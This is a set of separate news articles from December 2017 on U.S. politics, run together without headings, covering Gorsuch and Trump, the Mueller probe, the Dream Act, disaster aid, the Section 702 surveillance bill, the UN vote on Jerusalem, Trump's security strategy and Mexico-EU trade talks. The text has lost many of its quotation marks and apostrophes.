"I told him how abhorrent Donald Trump's invective and insults are toward the judiciary," Blumenthal told The Post in an interview. "And he said to me that he found them 'disheartening' and 'demoralizing'  his words."

Ron Bonjean, a member of the group guiding Gorsuch through the confirmation process, confirmed the account at the time.

The remarks angered the president, who attacked Blumenthal on Twitter, saying the senator misrepresented Gorsuchs comments. But at the time, at least, he also felt that Gorsuch himself was being disloyal.

In a meeting with House Speaker Paul D. Ryan (R-Wis.) and Senate Majority Leader Mitch McConnell (R-Ky.), Trump attacked the judge in sharp terms, surprising his fellow Republicans.

Hes probably going to end up being a liberal like the rest of them, Trump told the Republican leaders, according to a person with knowledge of the comments. You never know with these guys.

A senior White House official who was in the room during the meeting disputed that characterization, saying the president is concerned about the judicial outlook of all lifetime nominees.

But McConnell was so concerned that he made a point of repeatedly telling Trump to stay the course on Gorsuch  and that he would make sure the judge made it through the confirmation process with as few hiccups as possible.

Its clear [Trump] was very upset with the comment by Gorsuch, said someone familiar with the incident, who spoke on the condition of anonymity to discuss a sensitive topic.

The person added that he largely faults the White House for failing to adequately prepare Trump for Gorsuchs comments and to explain that Supreme Court nominees asserting their independence from the president who appointed them was a natural part of a successful confirmation process.

In fact, establishing Gorsuchs independence from Trump was so important that it was the subject of the first question he was asked by Senate Judiciary Committee Chairman Charles E. Grassley (R-Iowa), a fervent Gorsuch supporter. Tell us whether youd have any trouble ruling against the president who appointed you, Grassley said at the time.

Thats a softball, Mr. Chairman, Gorsuch replied. I have no difficulty ruling against or for any party, other than based on what the law and the facts and the particular case require. And Im heartened by the support I have received from people who recognize that theres no such thing as a Republican judge or a Democratic judge. We just have judges in this country.

Despite Trumps early concerns, Gorsuchs young tenure has given the president little reason to question his appointment to the Supreme Court. If anything, the justice  who has emerged as one of the courts most conservative members  has been criticized for not distancing himself enough from both the president and the Republican Senate leaders who championed his nomination through the highly partisan confirmation process.

Gorsuch traveled to Kentucky with McConnell to lecture at the senators two alma maters. One of his first public speeches was to a conservative scholarship organization that held its luncheon meeting at the Trump International Hotel in Washington, the subject of a lawsuit alleging that payments to Trumps companies violate the Constitutions emoluments clause.

Gorsuch also was the featured speaker at the annual black-tie gala of the Federalist Society, which had recommended him to Trump for the Supreme Court, telling the cheering crowd that neither originalism nor textualism is going anywhere on my watch.

In April, Trump bragged to the National Rifle Association that Gorsuch is really something very special and in June told the Faith and Freedom Coalition that no president had accomplished more in their first 100 days, citing Gorsuch as a key achievement.

I appointed and confirmed a Supreme Court justice in the mold of the late, great Antonin Scalia, he said, and now Justice Gorsuch has a seat on the United States Supreme Court.

In his March note to Trump, Gorsuch was similarly effusive.

The team you have assembled to assist me in the Senate is remarkable and inspiring, he wrote. I see daily their love of country and our Constitution, and know it is a tribute to you and your leadership for policy is always about personnel.

He concluded, Congratulations again on such a great start.
President Trump has expressed optimism that special counsel Robert S. Mueller III will soon end his focus on the White House, according to associates. (Evan Vucci/AP)

White House lawyers are expected to meet with special counsel Robert S. Mueller IIIs office late this week seeking good news: that his sprawling investigations focus on President Trump will soon end and their client will be cleared.

But people familiar with the probe say that such assurances are unlikely and that the meeting could trigger a new, more contentious phase between the special counsel and a frustrated president, according to administration officials and advisers close to Trump.

People with knowledge of the investigation said it could last at least another year  pointing to ongoing cooperation from witnesses such as former Trump campaign adviser George Papadopoulos and former national security adviser Michael Flynn, as well as a possible trial of two former Trump campaign officials. The special counsels office has continued to request new documents related to the campaign, and members of Muellers team have told others they expect to be working through much of 2018, at a minimum.

The dynamic threatens to intensify the already inflamed political atmosphere enveloping the investigation into Russia's meddling in the 2016 election. Even as White House lawyers have pledged to cooperate with Mueller, Trump and his allies have accused the Justice Department and FBI of bias and overreach.

The latest salvo came this past weekend, when a lawyer for the presidential transition accused Mueller of wrongfully obtaining thousands of emails sent and received by Trump officials before the start of his administration. The special counsel's office said all the material was legally obtained.

[Trump criticizes how Mueller obtained transition emails, says no plans to fire special counsel]

The meetings outcome could deepen tensions as many Trump supporters question Muellers credibility and Democrats express fear that the president will seek to fire the special counsel.

Ty Cobb, the White House lawyer overseeing the response to the Russia investigation, did not respond to phone calls and text messages seeking comment. Peter Carr, a spokesman for the special counsel, declined to comment.

White House lawyers have told the president he could be exonerated as early as the beginning of the year, after previously reassuring him that he would be cleared by Thanksgiving and Christmas, as The Washington Post previously reported. They have stated publicly that all White House interviews are over and that Muellers team is no longer seeking White House documents.

In the meeting this week, they plan to ask Muellers investigators if they need more information before reaching a conclusion that the probe as related to Trump is complete, according to a person familiar with the Trump teams plan who spoke on the condition of anonymity to describe private conversations.

The question that White House lawyers will pose to the special counsels office, according to the person: Youve had all these witnesses, all these records. Is there anything else you need from the White House?

Until now, Trumps legal team has repeatedly pledged cooperation with Muellers office. A White House spokesman said there was no plan to change the strategy.

Trumps legal team has reassured him that it sees no evidence of collusion or obstruction in the records that it turned over, White House advisers said. While the lawyers have told Trump that they expect the investigative team will continue its work related to former campaign chairman Paul Manafort deep into next year, as well as possibly Flynn, they said they believe Mueller should be close to wrapping up the focus on the current White House.

Trump himself has expressed frustration with the probe but has shown optimism that it will not touch him. He told associates recently that he harbors no deep concern over the investigation and noted that his lawyers talk with Muellers team regularly, according to a person who spoke with Trump last week and spoke on the condition of anonymity to describe a private conversation.

When pressed by two advisers to take the matter more seriously and asked why he is so confident in his lawyers, Trump brushed off the concerns. He is living in his own world, the person said, predicting that Trump would erupt at some point in 2018 if the probe continued to drag on.

Another associate said that even in private, Trump is confident, even arrogant that he has done nothing wrong.

There is no collusion, the president said at the White House on Sunday, after saying he was not planning to fire Mueller.

Among people familiar with the probe, there is widespread skepticism that the special counsels investigation is drawing to a close.

Already, Manafort and his former deputy Rick Gates have been indicted on money-laundering and other charges related to work they did in Ukraine before the 2016 race. Two others have pleaded guilty and are cooperating, giving investigators new leads to pursue. Agents have gathered huge volumes of documents and conducted their first round of interviews with White House officials.

As recently as last week, Muellers team was still asking questions about the firing of James B. Comey as FBI director, one person said.

Legal experts said Mueller would have little incentive to clear the president or other White House aides while he is seeking more information from witnesses.

I think its possible Muellers team could give them an idea of how much longer they anticipate their investigation will last, said Peter Zeidenberg, the former deputy special counsel who helped investigate the leak of Valerie Plames covert role as a CIA operative. I would be shocked if they have a timeline anything similar to what weve heard coming from the White House.

As far as a clean bill of health, I cant imagine they are going to be prepared to make a decision like that at this point, he said of the special counsels team. They are not going to be in a position to make that call until they finish this case and finish discussing all the evidence they have.

Mark Corallo, a former spokesman for Trumps legal team, said he thinks it is unlikely that the probe wraps up by the end of the year, but he said he believes it could conclude in the spring. He said that Mueller is aware of the political implications surrounding his investigation.

Bob understands you cant have a president who is living under this cloud of uncertainty, Corallo said, adding that he believes it is possible that the special counsel will at some point call Trumps lawyers and say, We are done with the president. There is nothing there.

[Trump says he wont fire Mueller, as campaign to discredit Russia probe heats up]

The high-stakes meeting between White House lawyers and Muellers team comes as conservative lawmakers and pundits have intensified their demands for a second special counsel to investigate the FBI, pointing to text messages between two former FBI officials discussing their dislike of Trump.

We are now beginning to understand the magnitude of the insider bias on Muellers team, House Judiciary Committee Chairman Bob Goodlatte (R-Va.) said last week. Another member of the committee, Rep. Steve Chabot (R-Ohio), said Mueller and his team should wear Democratic Donkeys or Hillary T-shirts.

A White House adviser said the president has enjoyed the attacks. In recent weeks, he has spoken to a number of Fox News hosts, Republican lawmakers and others who have castigated Muellers team, the adviser said.

The attacks on Muellers investigation grew this weekend after an attorney for the presidential transition told congressional investigators Saturday that thousands of pages of the organizations communications were provided to Mueller by the federal General Services Administration.

Trumps lawyers learned Mueller had the emails this month when witnesses were quizzed on the material. Some of the documents contained sensitive information that wasnt related to the Russia investigation, according to a person familiar with the material.

A GSA spokeswoman declined to comment. Muellers team said it obtained all documents legally.

Tom Hamburger and Rosalind S. Helderman contributed to this report.
Activists with Dream Act Oklahoma in support of the organization United We Dream chant while they sit in the office of Sen. Catherine Cortez Masto (D-Nev.) on Tuesday. (Carolyn Van Houten/The Washington Post)

Democrats are backing away from a pledge to force a vote this month over the fate of thousands of undocumented immigrants brought to this country as children, angering activists but probably averting the threat of a government shutdown at a critical moment in spending negotiations with Republicans and President Trump.

With a deadline of midnight Friday to pass spending legislation, dozens of Democrats had vowed to withhold support if Republicans refused to allow a vote on a measure, known as the Dream Act, that would allow roughly 1.2 million immigrants to stay legally in the United States.

But a group of vulnerable Democratic senators facing reelection in conservative states next year arent willing to go that far  meaning the party is unlikely to muster the votes to block the spending bill.

Weve got to get it done, but Im not drawing a line in the sand that it has to be this week versus two weeks from now, said Sen. Claire McCaskill (D-Mo.), who faces reelection next year in a state that Trump won by more than 18 points. Other Democrats facing similar head winds echoed that sentiment, including Sens. Joe Manchin III (D-W.Va.) and Joe Donnelly (D-Ind.). Trump won those states by 42 and 19 percentage points, respectively.

Their reluctance to enact legislation protecting dreamers has exposed a rift among Democrats, with immigration advocates staging protests this week and accusing some Democrats of taking the partys Latino supporters for granted.



Activists at the Capitol on Tuesday. (Carolyn Van Houten/The Washington Post)

I had [House Minority Leader] Nancy Pelosi tell me to my face that she would get this done by the end of the year, said Adrian Reyna, 26, an immigrant who arrived from Mexico at age 11 and whose work permit expires in May. Reyna is the membership director of United We Dream, the youth-led immigrant organization organizing protests.

Senate Minority Leader Charles E. Schumer (D-N.Y.), Reyna said, looked into the eyes of our members and said hes committed to getting this done. They cannot just tell us they are going to do something and then just drop out.

[House eyes $81 billion disaster funding package as shutdown deadline looms]

The current push for immigration legislation erupted in September, after Trump vowed to end a program known as Deferred Action for Childhood Arrivals, or DACA, instituted by President Barack Obama via executive action, allowing some immigrants brought into the country as children to stay legally.

At the time, Trump declared the program unconstitutional  and he challenged Congress by setting a March 5 deadline to pass legislation offering parallel protections to those provided under DACA.

Schumer responded to that challenge by promising that "Democrats will do everything we can to prevent President Trump's terribly wrong order from becoming reality." Pelosi (D-Calif.) said in October: "We have to do it before Christmas. That's just the way it is."

But in the weeks since, both leaders have amended their wish list and are now also pushing to use the looming spending showdown to reauthorize the State Childrens Health Insurance Program and devote more federal funding to cash-strapped pensions and programs targeting opioid abuse.

DACA recipients remain a top concern for House Democrats and a handful of Democratic senators, including Richard J. Durbin (Ill.), the second-ranking Democrat, as well as senators mulling 2020 presidential campaigns.

This cant come down to an issue of what is politically popular. Its just morally right, said Sen. Kamala D. Harris (D-Calif.), a potential 2020 contender. History is going to judge us.

But 25 Democratic senators face reelection next year  10 of them in mostly rural states that Trump won overwhelmingly, where talk of a shutdown over immigration reform is a politically risky move.

Sen. Tim Kaine (D-Va.) is seeking a second term in a state that is home to about 13,000 DACA recipients  and hundreds of thousands of federal employees whose livelihoods are at risk during government shutdowns.

I will exercise every bit of leverage I can for the Dream Act, but if there is a vote that would lead to a shutdown, thats where I draw the line, he said.

Kaine recalled meeting last month in Northern Virginia with a group of Latino voters to discuss his support for the Dream Act. But around that table there were Latino federal employees who say, Dont shut down the federal government,  he said.

Even Sen. Dianne Feinstein (D-Calif.), who is seeking her fifth full term next year in a deep-blue state with the largest number of DACA recipients in the nation, isnt willing to pick the fight.

Some advocates believe it would be politically infeasible for Democrats to force a government shutdown this year because the GOP would blame them for cutting off essential government aid to citizens over a relatively small group of immigrants when there is still time to fix DACA next year.

Others marveled at Democrats unwillingness to use the leverage they have. Ali Noorani, executive director of the National Immigration Forum, a nonpartisan immigration advocacy organization, said Republican aides in Congress recently told him that they couldnt pass an immigration bill because Democrats had refused to shut down the government and force the GOPs hand.

Both parties should be held accountable, Noorani added.

Republicans are in charge here, he said. Either they want to do this or they dont. They keep saying they want to do this. For them to say if only Democrats would make good on this threat to shut down the government then wed be able to pass the Dream Act . . . America deserves better than this right now.

Several Democratic aides said Republicans have pushed the spending fight into January by focusing more in recent weeks on tax reform instead of government funding. Prospects for a potential bipartisan breakthrough seem especially ripe in the House, where members of both parties are still working on a proposed compromise that could be unveiled soon. Pelosi was seen huddling on the House floor Tuesday afternoon with Reps. Pete Aguilar (D-Calif.) and Will Hurd (R-Tex.), two members trying to craft a deal.

Democrats pushing to protect dreamers have widespread public support. In an NBC News/Wall Street Journal poll released Tuesday, 62 percent of respondents said Congress should enact protections for DACA recipients; 19 percent said Congress should let DACA expire.

Asked whom they would blame if disagreements force a government shutdown, 31 percent said they would blame congressional Republicans, 29 percent said they would blame Democrats and 18 percent said they would blame Trump, according to the poll.

Some Democratic lawmakers said the potential inaction suggests a failure to appreciate the political power of immigrants.

Dont underestimate the disappointment and the anger of people who feel theyve been hoodwinked or led astray, said Rep. Luis V. Gutierrez (D-Ill.), an outspoken advocate for comprehensive immigration reform.

Rep. Adriano Espaillat (D-N.Y.) suggested that some lawmakers are less willing to enact a permanent solution for dreamers because they cant vote. Well, they have relatives and neighbors and friends who vote, he said.

Espaillat, an immigrant from the Dominican Republic, said he worried that his colleagues misunderstand the story of DACA recipients. While a majority of them are from Latin America, he said, a good number of the dreamers are from India. There are dreamers that are African, there are some who are European.

This week, more than 1,500 young immigrants from California, New York, Texas, Montana and other states are on Capitol Hill pressuring Republicans to permit a vote on the Dream Act or similar legislation  and pressuring Democrats to play hardball.

About a dozen DACA recipients from Texas camped out on Monday in the lobby of the office of Sen. Catherine Cortez Masto (D-Nev.), the only female Hispanic senator. She supports the Dream Act but has not said whether she would vote against a spending bill.

Members of the group shared their stories of immigrating to the United States, sang the spiritual, We Shall Not Be Moved in English and Spanish and shouted chants that bellowed down the cavernous halls of the Russell Senate Office Building.

I am somebody! And I demand full equality! they screamed. Right here! Right now!

Diana Alexander, a teacher from Houston traveling with the group, said activists are seeking a specific response from Democrats.

Not only do you have to say that youre with us, but we also want to have a promise  a verbal promise that you will not vote for this [spending bill] without including the Dream Act legislation along with it.

Advocates also said that Democrats who vote this week for a new spending bill would essentially be providing money to fund immigration enforcement, which has risen significantly under Trump.

House Republican leaders filed a spending bill last week that would temporarily extend funding for most government agencies at current levels until Jan. 19, while providing longer-term military funding at higher levels  $650 billion through Sept. 30. The bill is considered dead on arrival in the Senate, where Democrats can block it because of the chambers 60-vote filibuster threshold.

Mike DeBonis and Maria Sacchetti contributed to this report.

Read more at PowerPost
House Republicans are proposing to direct $81 billion in taxpayer money to respond to this years hurricanes and wildfires in what would be the single largest emergency spending bill since 2009s supplemental funding for the war on terrorism.

A bill filed Monday by House Appropriations Committee Chairman Rodney Frelinghuysen (R-N.J.) includes $28 billion for Federal Emergency Management Agency programs, $26 billion in disaster recovery block grants and $12 billion for infrastructure repairs, as well as billions in funding for agriculture, education and small-business loans.

If passed, it would be the third installment of federal disaster aid aimed at victims of Hurricanes Harvey, Irma and Maria, and more recent wildfires in California and other Western states. Congress previously appropriated $15.2 billion in September and $36.5 billion in October; the House bill would bring total disaster funding for the year to more than $130 billion  far outstripping federal spending in the wake of Hurricanes Katrina in 2005 and Sandy in 2012.

[GOP faces 5-day scramble to pass tax bill, avoid government shutdown]

The new proposal nearly doubles a $44 billion request made by the Trump administration  a proposal lawmakers of both parties slammed as wholly inadequate to meet the needs in Texas, Florida, California, Puerto Rico and other afflicted areas.

The request comes as Congress races toward a midnight Friday deadline to extend federal funding and avert a partial government shutdown that could wreak havoc during the holiday season. On Tuesday, major differences remained between the House and the Senate on the funding, not to mention between Republicans and Democrats.

House Republicans are planning to attach the disaster aid to a larger spending bill set for a vote this week that would increase military funding and extend it through September while offering a month-long stopgap to all other government agencies.

Senate Republicans have their own plans to attach other provisions that the House is threatening not to accept  in particular, measures that would stabilize the health insurance markets established under the Affordable Care Act. That is part of a deal GOP leaders struck to win support from Sen. Susan Collins (R-Maine) on the tax overhaul bill.

Numerous House Republicans warned Tuesday that the health-care provisions would be a nonstarter in their chamber, and they cautioned Senate leaders not to send them over for passage in the House.

[House to vote on spending bill that Senate wont pass, rekindling shutdown showdown]

Im not spoiling for a fight, but Im also not  just because its Christmastime and everybodys in a good mood  interested in bankrupting the country, either, and encumbering my constituents with funding insurance companies that are showing record profits, said Rep. Scott Perry (R-Pa.).

Top Republican leaders remained trained on the tax bill Tuesday and did not address their spending plans in public remarks. But House Speaker Paul D. Ryan (R-Wis.) told lawmakers in a closed-door meeting Tuesday morning that the health insurance measures would not pass, especially without language barring federal funding for abortions, according to multiple legislators who attended.

Meanwhile, Senate Minority Leader Charles E. Schumer (D-N.Y.) warned Republicans that Democrats would not vote for any spending bill that did not emerge from a comprehensive bipartisan negotiation  suggesting that a bare-bones stopgap measure extending funding into January would be the only alternative.

Democrats are pushing for an agreement to increase domestic spending alongside the military funding hike Republicans seek, as well as an accord on legal status for hundreds of thousands of immigrants brought to the United States illegally as children.

If we are not able to reach a global deal by this Friday on these many issues, there will be a temptation to do a short-term funding bill with some of these items but not others, Schumer said. That wont work. We should do all of these things together instead of a piecemeal, week-by-week fashion.

Schumer also criticized the House disaster funding bill, saying it does not fairly treat Puerto Rico or the U.S. Virgin Islands, both devastated by Hurricane Maria: Its a step in the right direction but not good enough.

Some House Republicans balked Tuesday at the notion of another stopgap, especially one that did not increase military funding. But others said there was little chance of a government shutdown over the issue, citing the impending passage of the landmark tax bill and the approaching holidays. I just dont get the sense that a lot of people are wanting to have that fight, said Rep. Bill Flores (R-Tex.).

Read more at PowerPost
The House will attempt on Thursday to reauthorize and limit a controversial surveillance program that lets the government collect foreign intelligence on U.S. soil, without relying on the budget or other must-pass legislation to get it through Congress.

But significant political hurdles could derail the effort, as the bill members will vote on does not incorporate privacy protections that several lawmakers  including Republicans  have said are necessary to securing their support.

The measure, which House leaders published Tuesday evening, is a modification of a bill the House Intelligence Committee approved along party lines earlier this month. It renews the National Security Agency's authority to collect emails and other communications of overseas foreign targets from U.S. companies  an authority known as Section 702, named for the provision of the Foreign Intelligence Surveillance Amendments Act of 2008 that established it. But it limits the FBI's ability to view information contained in that database about Americans who may have been in touch with foreign targets.

The bill requires the FBI to get a court order before reviewing the content of queries it makes in criminal cases for information about Americans. The restriction would not apply to national security cases.

Support for the bill split along party lines in committee because Republicans included a provision changing the method by which the intelligence community identifies U.S. people on foreign surveillance reports  a process known as unmasking. The legislation the House is expected to vote on Thursday removes that provision.

The amended House legislation also removes a controversial provision from the intelligence committees bill redefining foreign powers and agents of a foreign power, and appears to expand the situations in which communications about Americans, instead of directly to or from them, is prohibited. But it leaves in place a provision setting up a procedure for the government to restart collection of communications about U.S. persons after notifying Congress, if Congress does not act to prevent such collection within a 30-day window  a change likely to upset privacy advocates.

The intelligence community has identified a reauthorization of the Section 702 program as its highest legislative priority, and absent congressional action, it will expire at the end of 2017. But the House measure is expected to encounter opposition from privacy-minded lawmakers, including several in the House Freedom Caucus, who wanted more stringent restrictions on the FBIs ability to procure information about Americans contained in it.

Last month, the House Judiciary Committee endorsed a Section 702 measure that would have required the FBI to get a warrant before reviewing the contents of queries seeking evidence of a crime.

The Judiciary Committee will be near-unanimous in its opposition to this bill, making it highly unlikely that it passes on the floor of the House, one congressional aide warned Tuesday night.

Such political realities are one reason some key Republicans cheered the decision to separate the Section 702 bill from the budget measure currently being debated in the House.

Rep. Thomas J. Rooney (R-Fla.), who chairs the House intelligence panels subcommittee on the NSA and cybersecurity, noted Tuesday that members of the Freedom Caucus and other libertarian types . . . have a problem with 702, adding he was glad to consider a reauthorization alone.

They really shouldnt be included with each other, he said. This needs to be debated by itself.

Should the Section 702 measure pass the House, it is unclear whether there is any road ahead for it in the Senate, where procedural requirements make it challenging to quickly pass a stand-alone bill.

The Senate Intelligence Committee endorsed a Section 702 bill in October that created only a procedural hurdle for the FBI to access information about Americans communications in the database. That measure requires the FBI to submit a formal request to the Foreign Intelligence Surveillance Court to rule on the legality of any queries that turn up information about a known United States person. The secret court considers any request for foreign intelligence or law enforcement purposes to be legal.

Senate leaders continued to stand by their proposal on Tuesday.

I still believe that the Senate bill has much stronger protections, said intelligence committee vice chairman Mark R. Warner (D-Va.).

.

Ellen Nakashima contributed to this report.

Read more at PowerPost
The US was left alone waving its veto in the face of the 14 members of the Security Council who voted in favor of a resolution rejecting President Donald Trumps decision to recognize Jerusalem as the capital of Israel.

The resolution, calling for the withdrawal of Donald Trumps recognition of Jerusalem as Israels capital, gathered the unanimity of support of the security council to the exception of the US.

In a stark rebuke to Trumps unilateralism, a spokesman for the Palestinian president, Mahmoud Abbas, responded to the veto by saying it was unacceptable and threatens the stability of the international community because it disrespects it.

The US permanent representative, Nikki Haley, described the motion as an insult and warned that it would not be forgotten.

Its one more example of the United Nations doing more harm than good in addressing the Israeli-Palestinian conflict, she added.

Today, for the simple act of deciding where to put our embassy, the United States was forced to defend its sovereignty. The record will reflect that we did so proudly.

In parallel, US Vice-President Mike Pence postponed a controversial scheduled visit to the Middle East, due to begin on Tuesday, until mid-January.

For his part, Israeli Prime Minister Benjamin Netanyahu thanked Ms Haley on Twitter for using the veto.

Jerusalem was envisaged in the 1947 UN partition plan as an international city. After the end of the 1949 war, Israel took the western part and Jordan the eastern part of the city. During the 1967 Six-Day War, Israel occupied East Jerusalem. Since then, the entire city has been under Israels authority.

In July 1980, Israel passed a law that declared Jerusalem the united capital of Israel. The United Nations Security Council responded with a resolution condemning Israels annexation of East Jerusalem and declared it a violation of international law.

In 1995, the US Congress passed a law requiring America to move the embassy from Tel Aviv to Jerusalem. Proponents said the US should respect Israels choice of Jerusalem as its capital, and recognize it as such.

Every president since 1995  Presidents Clinton, Bush and Obama  has declined to move the embassy, citing national security interests. Every six months, the previous Presidents have used the presidential waiver to circumvent the embassy move.
The Senate Intelligence Committee is looking at the presidential campaign of the Green Partys Jill Stein for potential collusion with the Russians, a sign that the panels probe is far from over, even as allegations swirl that the House Intelligence Committees investigation is racing to a close.

Sen. Richard Burr (R-N.C.) told reporters Monday that the Senate Intelligence Committee has two other campaigns that were just starting on, in addition to the panels ongoing probe of alleged ties between the Trump administration and Kremlin officials. One of those he identified as Steins; Burr has indicated previously that the committee is also looking into reports that the Democratic National Committee and the Hillary Clinton campaign paid for research that went into a dossier detailing allegations of Donald Trumps 2013 exploits in Moscow.

Stein was present at a 2015 dinner in Moscow that was also attended by Trumps former national security adviser, Michael Flynn, whose contacts with Russian officials have been a chief focus of congressional investigators and special counsel Robert S. Mueller IIIs probe. Flynn and Stein were photographed at the same table as Russian President Vladimir Putin, who sat next to Flynn and across the table from Stein.

Stein released a statement Monday night defending her campaigns transparency and integrity.

Our communications with Russian individuals regarding an invitation to speak on international relations at the RT 10th anniversary media conference will confirm what we stated publicly at that time and since: that we did not accept any payment or even reimbursement for the trip, Stein said.

The expansion of the investigation to include Stein suggests that the Senate intelligence probe will continue well into next year. That stands in contrast to the House, where Democrats have been charging that Republicans are pushing the House Intelligence Committee to finish up its investigation by the end of this year  before, Democrats say, it can be responsibly completed.

[House interview with longtime Trump aide fuels tension on intelligence panel]

The House Intelligence Committee this week has or is scheduled to interview a number of high-profile witnesses, including: Rob Goldstone, the music producer who helped set up a meeting with a Russian lawyer at Trump Tower in June 2016; Andrew McCabe, the deputy director of the FBI; Felix Sater, a Russian-born businessman who was a close associate of Trumps; and Rhona Graff, Trumps longtime aide and often referred to as the gatekeeper for Trump Tower. The interviews of Graff and Sater are expected to take place in New York  another sign, Democrats say, that House Republicans are rushing.

Burr pushed back Monday on reports that the House Intelligence Committee would soon shut down its probe.

Ive heard the House guys actually say thats not true, Burr said.

Rep. K. Michael Conaway (R-Tex.), who is running the Houses investigation, would not answer questions Monday about the probes timing, even as he confirmed the Goldstone and McCabe interviews. Conaway said he would not be attending this weeks interviews in New York.

Read more at PowerPost
In the run-up to President Trump's national security address on Monday, officials hinted it would set a new tough tone on China. That did not quite happen.

In the closely watched speech, Trump called China and Russia "rival powers." But the rest of the address did not play out as predicted, with the president offering few new details on his China plans.

The softer-than-expected speech capped a year of mixed signals on how the Trump administration plans to handle Beijing, raising more questions about the future of U.S.-China ties.

The headline of an editorial published by the China Daily, a Communist Party-controlled newspaper, captured the confusion: US national security strategy is still a work in progress.

Shi Yinhong, a professor of international relations at Renmin University and a leading expert on Chinese diplomacy, was equally perplexed. What is the strategy after all? Its not clear, he said.

Shi, like several other Chinese experts, read Mondays speech as a sign that the White House may adopt a tougher line on China, but he cautioned against taking Trump at his word.

[Trump sets out national security strategy of principled realism and global competition]

China doesnt pay much attention to what Trump says. It mainly pays attention to what Trump does, he said.

We need to wait and see what he will do rather than what he said, echoed Lu Xiang, an expert in Sino-U.S. relations at the Chinese Academy of Social Sciences in Beijing.

In Russia, the Kremlin took a sharper line.

Speaking with journalists on Tuesday, a Kremlin spokesman criticized the new national security plan for its imperial character and said it incorrectly painted Russia as a threat to the national security of the United States.

The clearly imperial character of the document, the clear lack of desire to reject a unipolar world, and a reluctance to accept a multipolar world, said Dmitry Peskov, President Vladimir Putins personal spokesman, when asked what parts of the speech concerned the Kremlin.

Of course, we cannot agree with the attitude, which defines our country as a threat to the United States security, he said, in remarks translated by the Interfax news service.

The gap between what Trump has said on China and what he has done is the source of much debate here  and Mondays speech did little to change that.

As a candidate, Trump regularly lashed out at China, even accusing the country of raping the United States. As president, he has veered between tough talk  on North Korea, for instance  and sweet talk  mostly reserved for Chinas highly respected authoritarian leader, Xi Jinping.

Over the weekend, reports circulated that Trump's speech and strategy would treat China as a competitor and call out the country's "economic aggression." But only the first part made the cut.

In his remarks, Trump called China and Russia rival powers that seek to challenge American influence, values and wealth.

He went on to say the United States will attempt to build a great partnership with those and other countries, but in a manner that always protects our national interest.

The strategy document offered a bit more detail. "China and Russia challenge American power, influence, and interests, attempting to erode American security and prosperity," it reads.

They are determined to make economies less free and less fair, to grow their militaries, and to control information and data to repress their societies and expand their influence.

Language such as rival is part of a White House push to frame China as a strategic competitor instead of a strategic partner  a rhetorical shift that did not go unnoticed by the Chinese.

"Cooperation is the only correct choice for China and the United States," Hua Chunying, a spokeswoman for the Chinese Foreign Ministry, said at a regular news briefing on Tuesday. "We urge the U.S. side to stop distorting China's strategic intentions."

The China Daily editorial noted that President George W. Bush described China as a strategic competitor when he came to power, but over time "came to see China as a 'responsible stakeholder,' paving the way for years of stability in Sino-U.S. relations."

[Chinas long arm of influence stretches ever further]

Scott Kennedy, director of the project on Chinese business at the Center for Strategic and International Studies in Washington, said the competition framing would irk Beijing, but not as much as it used to.

The Chinese leadership has already decided that the U.S. is a strategic rival, he said.

Their thinking, in terms of the word partnership, is, You might say it, and we might say it, but we wont necessarily believe it, Kennedy said.

The text of the strategy document offered some clues to how the Trump administration sees the rivalry. It briefly mentions, for instance, Chinese military advancements and the fact that Beijing uses investment in the developing world to cultivate influence.

It also notes that every year, competitors such as China steal U.S. intellectual property valued at hundreds of billions.

The document says the United States must defend our National Security Innovation Base (NSIB) against competitors but does not spell out what policy changes, if any, are to come.

For more than a decade, Putin has called for a new international balance of power with multiple poles of influence including Moscow. The Kremlin has regularly complained of U.S. hegemony in international politics, a criticism that was most forcefully laid out in a 2007 speech given by Putin at the Munich Security Conference.

"No one feels safe!" Putin said at the time. "Because no one can feel that international law is like a stone wall that will protect them."

But to Chinese experts, the lack of specificity on Trumps part Monday was generally taken as a sign of U.S. weakness.

Victor Gao, a Beijing-based current affairs commentator and former translator for Deng Xiaoping, said the idea that U.S. global leadership cannot be challenged now looks negotiable.

As the top dog, the number one country in the world, you should make an effort to protect your world leader status, he said.

If another country has better growth and a better developmental strategy, you should be humble and learn from them rather than repeatedly saying, You should not challenge me. 

Roth reported from Moscow. Yang Liu, Luna Lin and Shirley Feng in Beijing contributed to this report.

Read more

Todays coverage from Post correspondents around the world

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Mexicos economy minister, Ildefonso Guajardo, shown in Buenos Aires last week, is in Brussels this week to try to beef up a trade deal with the European Union. (Marcos Brindicci/Reuters)

Mexicans want European customers for their cheese and orange juice. Europe's manufacturers hope to sell toothbrushes and marble to Mexico's growing middle class. And if Mexican revelers need some fizz to ring in the New Year, France wants it to be French champagne.

So much for NAFTA.

With President Trump threatening to tear up North Americas 23-year-old free-trade agreement, Mexican officials are in Brussels this week trying to upgrade a deal with Europe to soften the hit.

Mexico is not the only U.S. ally forced to look for new friends. Since Washington shrugged off its role as globalizations biggest cheerleader, Japan has worked out an agreement with the European Union that is awaiting a final green light.

[Japan and Europe counter Trump with colossal trade deal]

And after U.S. trade officials criticized the World Trade Organization at a ministers meeting in Buenos Aires last week, other nations seem to be doubling down on a defiant response: The globalized model the Americans once championed will survive without them.

We hope that over the next few days that we will be able to have a positive outcome on Mexico, said the top E.U. agriculture official, Phil Hogan, who is to meet with Mexican Economy Minister Ildefonso Guajardo Villarreal on Wednesday.

Apart from the European Union, Mexico is bargaining with Argentina, Brazil and Asia. Meanwhile, Europe is flirting with Latin America, Australia and New Zealand. The efforts were turbocharged by Trump's free-trade skepticism after he abandoned the Trans-Pacific Partnership, a pan-Asian deal that was a pet project of the Obama administration and included the E.U., Japan and Mexico.

[Trump suggests ignoring World Trade Organization in major policy shift]

Officials involved in the negotiations say they have been happy to try to salvage the rubble from Trumps torpedo.

The E.U. is left as practically the only big player in the global arena without the U.S., so its a necessity to conclude agreements, said Alessia Mosca, the E.U. lawmaker overseeing the Mexico deal for the European Parliament. For this reason there has been a speedup to the talks.

Mexico and the European Union already have a free-trade agreement that went into effect in 2000, but that was at the start of the Internet era, and officials say it is out of date. The new talks seek to expand and modernize the agreement, adding previously excluded items such as grains, meat and dairy.

Mexicos quest for new trading partners represents an insurance policy against economic harm if the Trump administration decides to end NAFTA, because about 80 percent of Mexican exports go north to the United States. And if new tariffs suddenly boosted the cost of imported corn and car parts, Mexico could turn to South America or Europe.

[No NAFTA? No problem, says one Mexican city]

The strategy is to have alternative suppliers if the U.S. leaves NAFTA, which is not what we want or hope, said Luis de la Calle, an economist and one of the original NAFTA negotiators.

De la Calle said Mexico hopes to sell juice, fruit and vegetables to Europe.

Mexico has already made the decision to independently diversify trade, he said. There is an appetite for trade agreements, and Mexico is taking advantage of that appetite.

